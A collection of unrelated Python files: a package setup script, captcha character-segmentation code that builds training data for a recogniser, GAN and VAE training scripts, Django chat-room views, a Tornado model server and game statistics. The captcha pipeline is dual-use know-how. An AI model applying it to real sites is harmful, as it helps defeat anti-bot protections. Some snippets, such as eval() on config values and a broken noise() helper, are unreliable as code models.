REQUIRES = [
    'docopt >= 0.6.2',
    'filehandles >= 0.3.1',
    'more_itertools >= 4.1.0'
]

setup(
    name='ctfile',
    version=find_version(),
    author='Andrey Smelter, Huan Jin',
    author_email='andrey.smelter@gmail.com, jinhuan0905@gmail.com',
    description='Parser for chemical table file (CTfile) a family of text-based chemical file formats '
                '(e.g. Molfile, SDfile) that describe molecules and chemical reactions.',
    keywords='CTfile SDfile Molfile Ctab',
    license='BSD',
    url='https://github.com/MoseleyBioinformaticsLab/ctfile',
    packages=find_packages(),
    package_data={'ctfile': ['config_files/*.json']},
    platforms='any',
    long_description=readme(),
    install_requires=REQUIRES,
    classifiers=[
        'Development Status :: 4 - Beta',
        'Environment :: Console',
        'Intended Audience :: Developers',
        'Intended Audience :: Science/Research',
        'License :: OSI Approved :: BSD License',
        'Operating System :: OS Independent',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
        'Programming Language :: Python :: 3.6',
        'Programming Language :: Python :: 3.7',
        'Topic :: Scientific/Engineering :: Bio-Informatics',
        'Topic :: Software Development :: Libraries :: Python Modules',
    ],
)


from PIL.Image import NONE
import cv2
import os
from sklearn.neighbors import KNeighborsClassifier
import numpy as np
from imutils import contours
import random

listOfCharaters = []

# The following function reads the folder with images.
def load_images_from_folder(folder):
    images = []
    for filename in os.listdir(folder):
        img = cv2.imread(os.path.join(folder,filename))
        if img is not None:
            images.append(img)
    return images

# The following function obtains the captha lable for the file name.
def get_captha_lable(folder):
    lables = []
    for filename in os.listdir(folder):
        file = os.path.basename(filename)
        lable = file.split(".")[0]
        lables.append(lable)
    return lables

def resize_image(image, height):
    scale_percent =  image.shape[0] / height
    width = int(image.shape[1] / scale_percent)
    dsize = (width, height)
    image = cv2.resize(image, dsize)
    return image

def crop_image(image):
        x,y,w,h = cv2.boundingRect(image)
        image = image[y:y+h,x:x+w]
        return image

    # remove noise with the help of contourArea
def remove_noise(image):
    cnts = cv2.findContours(image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    cnts = cnts[0] if len(cnts) == 2 else cnts[1]
    for c in cnts:
        area = cv2.contourArea(c)
        if area < 10:
            cv2.drawContours(image, [c], -1, (0,0,0), -1)
    return image

# The following function transforms the captha image into black and white image.
def preprocess(image, image_height, blur, dilation_kernel, erosion_kernel):
    #dilation kernel must of cv::MorphShapes
    image = resize_image(image, image_height)

    # convert the image to grayscale format
    imgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    imgrayblur = cv2.GaussianBlur(imgray, blur, 0)
    ret,tresh = cv2.threshold(imgrayblur, 0, 255, cv2.THRESH_OTSU)
    noise_removed = remove_noise(tresh)

    dilation = cv2.dilate(noise_removed, dilation_kernel, iterations = 1)
    erosion = cv2.erode(dilation, erosion_kernel, iterations = 1)

    cropped_image = crop_image(remove_noise(erosion))
    end_image = resize_image(cropped_image, image_height)
    return 255-end_image

# This function splits one image into multiple images with one character
def split_multiple_characters(image,c, n_characters):
    x,y,w,h = cv2.boundingRect(c)
    split_width = w//n_characters
    for split in range(0,n_characters):
        split_index = x + split * split_width
        ROI = image[y:y+h, split_index : split_index + split_width]
        resize_image = cv2.resize(ROI, (100, 100),interpolation=cv2.INTER_AREA)
        listOfCharaters.append(resize_image)

# This function contains settings for charater detection function.
def determineTrainingData(image):
    cnts = cv2.findContours(image, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) #Tune cv2 parameters
    cnts = cnts[0] if len(cnts) == 2 else cnts[1]
    cnts, _ = contours.sort_contours(cnts, method="left-to-right")

    for c in cnts:
        area = cv2.contourArea(c)
        if area >= 700 and area <= 9000: # We can adjust these values and see if it gives us any difference
            if area > 7000:
                split_multiple_characters(image,c,5)
            elif area >= 5000 :
                split_multiple_characters(image,c,4)
            elif area >= 3700 :
                split_multiple_characters(image,c,3)
            elif area >= 2200:
                split_multiple_characters(image,c,2)
            elif area >= 700:
                split_multiple_characters(image,c,1)

# This function filters obtained characters into folder for futher training.
def saveTrainingData(lable):
    for i,l in enumerate(lable):
        dirName = "t_data/"+l
        if not os.path.exists(dirName):
            os.makedirs(dirName)
        if i > len(listOfCharaters) -1:
            return
        else:
            cv2.imwrite(os.path.join(dirName,'character_{}.bmp'.format(random.randint(0,999))),listOfCharaters[i])
    listOfCharaters.clear()


import torch
from torch.autograd import Variable
from torch.nn.parameter import Parameter
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import torch.nn.init as init
from DiscriminatorSIMP import DiscriminatorNet
from torch.utils.data import DataLoader
from GeneratorSIMP import GeneratorNet
from PIL import Image
from torchvision import transforms, datasets
import matplotlib
import numpy as np
import matplotlib.pyplot as plt

def noise(size):
    '''
    Generates a 1-d vector of gaussian sampled random values
    '''
    n = Variable(torch.from_numpy(np.random.normal(0, 1, 1))).flat()
    return n

def ones_target(size):
    '''
    Tensor containing ones, with shape = size
    '''
    data = Variable(torch.ones(size, 1))
    return data

def zeros_target(size):
    '''
    Tensor containing zeros, with shape = size
    '''
    data = Variable(torch.zeros(size, 1))
    return data

def train_discriminator(optimizer, real_data, fake_data):
    N = real_data.size(0)
    # Reset gradients
    optimizer.zero_grad()

    # 1.1 Train on Real Data
    prediction_real = discriminator(real_data)
    # Calculate error and backpropagate
    error_real = loss(prediction_real, ones_target(N) )
    error_real.backward()

    # 1.2 Train on Fake Data
    prediction_fake = discriminator(fake_data)
    # Calculate error and backpropagate
    error_fake = loss(prediction_fake, zeros_target(N))
    error_fake.backward()

    # 1.3 Update weights with gradients
    optimizer.step()

    # Return error and predictions for real and fake inputs
    return error_real + error_fake, prediction_real, prediction_fake

def train_generator(mu, fake_data, discriminator):
    N = fake_data.size(0)
    learning_step = 0.01
    sum = 0
    predictions = discriminator(fake_data)
    zipped = zip(fake_data, predictions)
    for row in zipped:
        sum += row[1].data*(mu-row[0].data)

    sum = sum/N

    mu = mu - learning_step*(sum.data)
    return mu

#Get 1000 samples from normal distribution with mean 0, variance 1
data = np.random.normal(0, 1, 10000)

train_ratios = [1, 2, 3, 4, 5, 10, 20, 50]

num_epochs = 50
samples_run_through = 1
d_errors_f = open("Errors/simple"+str(num_epochs)+ "_lr001_SGD/d_errors.txt","w")
g_errors_f = open("Errors/simple"+ str(num_epochs)+ "_lr001_SGD/g_errors.txt","w")
x_train = DataLoader(torch.from_numpy(data).float(), 512, shuffle=True)
for train_ratio in train_ratios:
    torch.manual_seed(0)
    mu = torch.Tensor([2])
    discriminator = DiscriminatorNet()
    discriminator = discriminator.float()
    d_optimizer = optim.SGD(discriminator.parameters(), lr=0.001)
    loss = nn.BCELoss()
    print(train_ratio)
    for epoch in range(num_epochs):
        for n_batch, real_batch in enumerate(x_train):
            N = real_batch.size(0)
            # 1. Train Discriminator
            real_data = Variable(real_batch)
            for i in range(train_ratio):
                # Generate fake data and detach
                # (so gradients are not calculated for generator)
                fake_data = Variable(torch.from_numpy(np.random.normal(mu, 1, N))).float()
                # Train D
                d_error, d_pred_real, d_pred_fake = train_discriminator(d_optimizer, real_data, fake_data)
            samples_run_through += 1
            params = list(discriminator.parameters())
            d_errors_f.write(str(params[0].item())+";" + str(params[1].item()) + ";" +str(samples_run_through)+";"+str(epoch)+";"+str(n_batch)+";" + str(train_ratio) + "\n")
            g_errors_f.write(str(mu.item())+";"+str(samples_run_through)+";"+str(epoch)+";"+ str(train_ratio) +"\n")
            # 2. Train Generator
            # Generate fake data
            fake_data = Variable(torch.from_numpy(np.random.normal(mu, 1, N))).float()
            # Train G
            mu = train_generator(mu, fake_data, discriminator)


import tensorflow as tf
import numpy as np

import time
import yaml

from tqdm import tqdm

from src.model import VAE, train_step, eval_step, preprocess_images

if __name__ == "__main__":

    tf.executing_eagerly()

    # load config file for training
    config = yaml.safe_load(open('config.yml'))

    # training params
    batch_size = config['batch_size']
    no_epochs = config['epochs']
    input_dims = eval(config['input_shape'])
    no_classes = config['num_classes']
    latent_dim = config['latent_dim']

    # initialize model
    model = VAE(input_dims=input_dims, latent_dim=latent_dim)

    # instantiate optimizer
    # optimizer = tf.keras.optimizers.SGD(learning_rate=0.01, momentum=0.0, nesterov=False, name='SGD')
    optimizer = tf.keras.optimizers.Adam(1e-4)

    # log to tensorboard
    if config['tensorboard']:
        writer1 = tf.summary.create_file_writer('logs/train')
        writer2 = tf.summary.create_file_writer('logs/eval')

    # Load mnist fashion data (test data)
    (_, _), (x_test_orig, y_test_orig) = tf.keras.datasets.fashion_mnist.load_data()

    # perform a 7:3 split
    train_len = x_test_orig.shape[0]
    test_len = int(0.3 * train_len)
    x_train, y_train = x_test_orig[:-test_len:, :, :], y_test_orig[:-test_len]
    x_test, y_test = x_test_orig[-test_len:, :, :], y_test_orig[-test_len:]
    # preprocess images
    x_train = preprocess_images(x_train)
    x_test = preprocess_images(x_test)

    # instantiate data generators for train
    train_size = x_train.shape[0]
    dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
    dataset = dataset.batch(config['batch_size'])
    # for test
    test_size = x_test.shape[0]
    test_dataset = tf.data.Dataset.from_tensor_slices((x_test, y_test))
    test_dataset = test_dataset.batch(config['batch_size'])

    # start training
    loss_history = []
    best_val_acc = 0      # for classification
    best_loss = -np.inf   # autoencoder loss

    # define keras tensorboard callback
    tf.compat.v1.keras.callbacks.TensorBoard(log_dir='./logs', histogram_freq=0, batch_size=batch_size, write_graph=True,
                                             write_grads=False, write_images=False, embeddings_freq=0,
                                             embeddings_layer_names=None, embeddings_metadata=None, embeddings_data=None,
                                             update_freq='epoch', profile_batch=2)

    for epoch in range(config['epochs']):
        # update learning rate
        if epoch in eval(config['learning_rate_steps']):
            optimizer.lr.assign(optimizer.lr.read_value() * config['learning_rate_decay'])

        epoch_loss_avg = tf.keras.metrics.Mean()
        epoch_val_loss_avg = tf.keras.metrics.Mean()
        print('Training...')
        # train epoch
        for batch, (images, _) in enumerate(tqdm(dataset, total=train_size // config['batch_size'])):
            train_step(images, model, optimizer, epoch_loss_avg)
        time.sleep(0.5)
        print('Evaluating...')
        # evaluate epoch
        for batch, (images, _) in enumerate(tqdm(test_dataset, total=test_size // config['batch_size'])):
            eval_step(images, model, epoch_val_loss_avg)
        time.sleep(0.5)
        # compute elbo (evidence lower bound loss)
        elbo_loss = -1 * epoch_loss_avg.result()
        elbo_val_loss = -1 * epoch_val_loss_avg.result()

        # store values on tensorboard
        with writer1.as_default():
            tf.summary.scalar('loss', epoch_loss_avg.result(), step=epoch)
        with writer2.as_default():
            tf.summary.scalar('loss', epoch_val_loss_avg.result(), step=epoch)

        # print epoch metrics
        print("Epoch {:03d} - loss: {:.3f} - val loss: {:.3f}".format(epoch,
                                                                        elbo_loss,
                                                                        elbo_val_loss))
        # save model
        if elbo_val_loss > best_loss:
            print('Saving better autoencoder model...')
            print()
            model.save_weights('checkpoint/model')
            best_loss = elbo_val_loss


from django.db import connection
from django import forms
from django.contrib.auth.views import login_required
from django.shortcuts import redirect, render
from django.urls import reverse_lazy
from django.views.generic import CreateView, DetailView
from django.views.generic.list import ListView

from blog.models import Topic

from .models import Room, Message
from .forms import MessageForm, RoomForm

# Create your views here.
@login_required
def RoomListView(request):

    if request.method == 'POST':
        search_query = request.POST['search_query']
        room_list = Room.objects.filter(name__contains=search_query)
    else:
        room_list = Room.objects.all()

    context = {'room_list': room_list}
    return render(request, 'rooms/room_list.html', context)

class MyRoomsListView(ListView):

    model = Room

    def get_context_data(self, *, object_list=None, **kwargs):
        context = super(MyRoomsListView, self).get_context_data()
        context['room_list'] = Room.objects.filter(host=self.request.user)
        return context

@login_required
def RoomCreate(request):

    form = RoomForm()

    form.fields['host'].widget = forms.TextInput(attrs={'type': 'hidden', 'value': request.user.id })
    form.fields['topic'] = forms.ModelChoiceField(queryset=Topic.objects.all())
    form.fields['name'].widget = forms.TextInput(attrs={'class': 'form-control mb-2', 'placeholder': 'Room name'})
    form.fields['description'].widget = forms.Textarea(attrs={'class': 'form-control'})

    if request.method == 'POST':
        form = RoomForm(request.POST)
        if form.is_valid():
            name = form.cleaned_data['name']
            desc = form.cleaned_data['description']
            topic = form['topic'].value()
            host = request.user.id
            with connection.cursor() as cursor:
                cursor.callproc('room_package.insert_room', [name, desc, host, topic])
            return redirect('my-rooms')

    context = {'form': form}
    return render(request, 'rooms/room_form.html', context)

def RoomDetailView(request, pk):
    form = MessageForm()
    form.fields['user'].widget = forms.TextInput(attrs={'type': 'hidden', 'value': request.user.id })
    form.fields['room'].widget = forms.TextInput(attrs={'type': 'hidden', 'value': pk })
    room = Room.objects.get(id=pk)
    messages = Message.objects.filter(room=pk)
    participants = room.users.all()
    if request.method == 'POST':
        form = MessageForm(request.POST)
        if form.is_valid():
            room.users.add(request.user)
            content = form.cleaned_data['content']
            room = pk
            user = request.user.id
            with connection.cursor() as cursor:
                cursor.callproc('message_package.insert_message', [content, room, user])
            return redirect(request.META['HTTP_REFERER'])

    context = {'form': form, 'room': room, 'messages': messages, 'participants': participants}
    return render(request, 'rooms/room_detail.html', context)

def MessageDelete(request, pk):
    message = Message.objects.get(id=pk)
    if request.user == message.user:
        message = pk
        with connection.cursor() as cursor:
            cursor.callproc('message_package.delete_message', [message])
        return redirect(request.META['HTTP_REFERER'])
    return redirect('all-rooms')

def RoomStatus(request):

    topic = popular_topics()
    room = most_populated_room()
    mensajes = most_messaged_room()

    context = {'topic': topic, 'room': room, 'mensajes': mensajes}

    return render(request,'rooms/room_status.html', context)

def popular_topics():
    with connection.cursor() as cursor:
        cursor.execute('SELECT * FROM TopicsUsadosEnRooms')
        row = dictfetchall(cursor)
    return row

def most_populated_room():
    with connection.cursor() as cursor:
        cursor.execute('SELECT * FROM RoomConMasUsuarios')
        row = dictfetchall(cursor)
    return row

def most_messaged_room():
    with connection.cursor() as cursor:
        cursor.execute('SELECT * FROM RoomConMasMensajes')
        row = dictfetchall(cursor)
    return row

def dictfetchall(cursor):
    """
    Return all rows from a cursor as a dict.
    Assume the column names are unique.
    """
    columns = [col[0] for col in cursor.description]
    return [dict(zip(columns, row)) for row in cursor.fetchall()]


import re
import tornado.web
import sqlalchemy
import os
import json

import tensorflow as tf

from .query_handlers import QueryHandler, TokenizeHandler
from .learn_handler import LearnHandler
from .admin_handlers import ReloadHandler, ExactMatcherReload
from .exact import ExactMatcher
from .tokenizer import Tokenizer
from .predictor import Predictor

class LanguageContext(object):
    def __init__(self, tag, language_tag, model_tag, tokenizer, predictor):
        self.tag = tag
        self.language_tag = language_tag
        self.model_tag = model_tag
        self.tokenizer = tokenizer
        self.predictor = predictor

class Application(tornado.web.Application):
    def __init__(self, config, thread_pool, tokenizer_service):
        super().__init__([
            (r"/query", QueryHandler),
            (r"/learn", LearnHandler),
            (r"/(?P<locale>[a-zA-Z-]+)/tokenize", TokenizeHandler),
            (r"/(?P<locale>[a-zA-Z-]+)/query", QueryHandler),
            (r"/(?P<locale>[a-zA-Z-]+)/learn", LearnHandler),
            (r"/(?P<locale>[a-zA-Z-]+)/admin/reload", ReloadHandler),
            (r"/(?P<locale>[a-zA-Z-]+)/admin/exact/reload", ExactMatcherReload),
            (r"/@(?P<model_tag>[a-zA-Z0-9_\.-]+)/(?P<locale>[a-zA-Z-]+)/tokenize", TokenizeHandler),
            (r"/@(?P<model_tag>[a-zA-Z0-9_\.-]+)/(?P<locale>[a-zA-Z-]+)/query", QueryHandler),
            (r"/@(?P<model_tag>[a-zA-Z0-9_\.-]+)/(?P<locale>[a-zA-Z-]+)/learn", LearnHandler),
            (r"/@(?P<model_tag>[a-zA-Z0-9_\.-]+)/(?P<locale>[a-zA-Z-]+)/admin/reload", ReloadHandler),
            (r"/@(?P<model_tag>[a-zA-Z0-9_\.-]+)/(?P<locale>[a-zA-Z-]+)/admin/exact/reload", ExactMatcherReload),
        ])

        if config.db_url:
            self.database = sqlalchemy.create_engine(config.db_url, pool_recycle=600)
        else:
            self.database = None
        self.config = config
        self._languages = dict()
        self.thread_pool = thread_pool
        self._tokenizer = tokenizer_service

    def _load_language(self, language_tag, model_tag, model_dir):
        with tf.gfile.Open(os.path.join(model_dir, "model.json")) as fp:
            config = json.load(fp)

        tokenizer = Tokenizer(self._tokenizer, language_tag)
        predictor = Predictor(model_dir, config)

        if model_tag is not None:
            tag = '@%s/%s' % (model_tag, language_tag)
        else:
            tag = language_tag

        language = LanguageContext(tag, language_tag, model_tag, tokenizer, predictor)
        self._languages[tag] = language
        if self.database:
            language.exact = ExactMatcher(self.database, language_tag, model_tag)
            language.exact.load()
        else:
            language.exact = None
        if model_tag is not None:
            tf.logging.info('Loaded model @%s/%s', model_tag, language_tag)
        else:
            tf.logging.info('Loaded model @default/%s', language_tag)

    def load_all_languages(self):
        for tag in self.config.languages:
            if tag.startswith('@'):
                model_tag, language_tag = tag.split('/')
                model_tag = model_tag[1:]
            else:
                language_tag = tag
                model_tag = None
            self._load_language(language_tag, model_tag, self.config.get_model_directory(tag))

    def reload_language(self, language_tag, model_tag=None):
        if model_tag is not None:
            tag = '@%s/%s' % (model_tag, language_tag)
            tf.logging.info('Reloading model @%s/%s', model_tag, language_tag)
        else:
            tag = language_tag
            tf.logging.info('Reloading model @default/%s', language_tag)
        self._load_language(language_tag, model_tag, self.config.get_model_directory(tag))

    def get_language(self, locale, model_tag=None):
        '''
        Convert a locale tag into a preloaded language
        '''

        if model_tag == 'default':
            model_tag = None

        split_tag = re.split("[_\\.\\-]", locale)

        # try with language and country
        language = None
        if len(split_tag) >= 2:
            key = split_tag[0] + "-" + split_tag[1]
            if model_tag is not None:
                key = '@' + model_tag + '/' + key
            language = self._languages.get(key, None)
        if language is None and len(split_tag) >= 1:
            key = split_tag[0]
            if model_tag is not None:
                key = '@' + model_tag + '/' + key
            language = self._languages.get(key, None)

        # fallback to english if the language is not recognized or
        # locale was not specified
        if language:
            return language
        else:
            if model_tag is not None:
                key = '@' + model_tag + '/' + self.config.default_language
                language = self._languages.get(key, None)
                if language is not None:
                    return language
                else:
                    tf.logging.warning("Ignored model tag " + model_tag)

            return self._languages[self.config.default_language]


import datetime
import sys
import os
import psutil

current = os.path.dirname(os.path.realpath(__file__))
sys.path.append(os.path.abspath(os.path.join(current, "../../../../pylibs/snake")))
from snake import SnakeGame

class Statistics:
    def __init__(self, game:SnakeGame):
        self.process = psutil.Process()
        self.game = game
        self.max_reward = 0.0
        self.sum_rewards = 0.0
        self.max_moves = 0
        self.sum_moves = 0
        self.max_apples = 0
        self.sum_apples = 0
        self.games = 0

    def collect(self):
        if self.game.game_over:
            self.games += 1

        if self.game.reward > self.max_reward:
            self.max_reward = self.game.reward
        if self.max_moves < self.game.moves_made:
            self.max_moves = self.game.moves_made
        if self.max_apples < self.game.consumed_apples:
            self.max_apples = self.game.consumed_apples

        self.sum_rewards += self.game.reward
        self.sum_moves += self.game.moves_made
        self.sum_apples += self.game.consumed_apples

    def print_progress(self, epoch:int, num_epochs:int, interval_epochs:int, epsilon:float):
        if epoch > 0 and epoch % interval_epochs == 0:
            percent_complete = (epoch / num_epochs) * 100
            ct = datetime.datetime.now().strftime("%H:%M:%S")
            print(f"{ct}==> Processing {percent_complete:.0f}% complete. {epoch} of {num_epochs} games.")
            self._print(epsilon)

    def _print(self, epsilon:float):
        avgReward = self.sum_rewards / self.games
        avgMoves = self.sum_moves / self.games
        avgApples = self.sum_apples / self.games

        exp = epsilon*100
        if exp < 0: # It may be less than 0 - depends of epsilon_decay
            exp = 0.0

        print(f"->apples(max:{self.max_apples}, avg:{avgApples:.3f})"
            f" moves(max:{self.max_moves}, avg:{avgMoves:.3f})"
            f" reward(max:{self.max_reward}, avg:{avgReward:.3f})."
            f" Exploration: {exp:.0f}%  MemUsage: {self.get_memory_usage_mb():.2f} MB")
        self.games = 0
        self.max_reward = 0.0
        self.sum_rewards = 0.0
        self.max_moves = 0
        self.sum_moves = 0
        self.max_apples = 0
        self.sum_apples = 0

    def get_memory_usage_mb(self):
        mem_info = self.process.memory_info()
        mem_usage_mb = mem_info.rss / (1024 * 1024)
        return mem_usage_mb